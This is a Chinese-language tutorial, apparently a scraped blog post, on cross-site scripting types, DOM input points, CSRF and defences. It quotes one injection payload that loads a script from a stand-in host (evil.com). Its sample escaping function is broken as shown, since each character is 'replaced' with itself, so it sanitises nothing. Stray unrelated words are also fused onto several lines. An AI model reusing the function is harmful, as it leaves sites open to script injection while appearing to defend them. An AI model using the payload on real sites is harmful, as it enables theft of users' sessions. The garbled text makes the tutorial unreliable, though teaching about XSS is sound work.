XSS:跨站腳本,發生在目標網站中目標用戶的瀏覽器層面上,當用戶瀏覽器渲染整個HTML文檔的過程當中出現了不被預期的腳本指令並執行時,XSS就會發生。
絕大多數XSS攻擊都會採用嵌入一段遠程或者第三方域上的腳本資源。任何安全問題都有「輸入」的概念,不少時候輸入的內容長度是有限制的。真正的XSS攻擊彈出窗無心義。通常會注入相似<script src="http://www.evil.com/xxs.js"></script>
html
XXS類型
反射型XSS(非持久性XSS)、存儲型XSS(持久型XSS)、DOM XSS數據庫
反射型XSS
發出請求時,XSS代碼在URL中,做爲輸入提交到服務器端,服務端解析後響應,在響應內容中出現這段XSS代碼,最後瀏覽器解析執行。這個過程就像一次反射。
存儲型XSS
提交的XSS代碼會存儲在服務端,最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,用戶查看留言板時,那些留言內容會從數據庫查詢出來並顯示,瀏覽器發現有XSS代碼,就當作正常的HTML與JS解析執行,因而觸發了XSS攻擊。
DOM XSS
DOM XSS的XSS代碼不須要服務器解析響應的直接參與,觸發XSS靠的是瀏覽器端的DOM解析。
常見的輸入點:瀏覽器
document.URL document.URLUnencoded document.location document.referrer window.location window.name document.cookie document.write document.body.innerHTML document.forms[0].action document.attachEvent document.create document.body window.attachEvent document.location document.location.hostname document.location.replace document.location.assign document.URL window.navigate window.open window.location.href
CSRF:跨站請求僞造
跨站請求僞造是其餘站點的,對於XSS來講,發起的任何攻擊請求其實是目標網站同域內發出的。
CSRF類型:HTML CSRF攻擊、JSON HiJacking攻擊、Flash CSRF攻擊安全
xss攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。(解釋摘自百度百科)服務器
一、將能被轉換爲html的輸入內容,在寫代碼時改成innerText而不用innerHTMLcookie
二、實在沒有辦法的狀況下可用以下方法(js代碼)xss
function safeStr(str){
return str.replace(/</g,'<').replace(/>/g,'>').replace(/"/g, """).replace(/'/g, "'");
}網站
將含有<>等符號轉化爲其餘字符簡單方便spa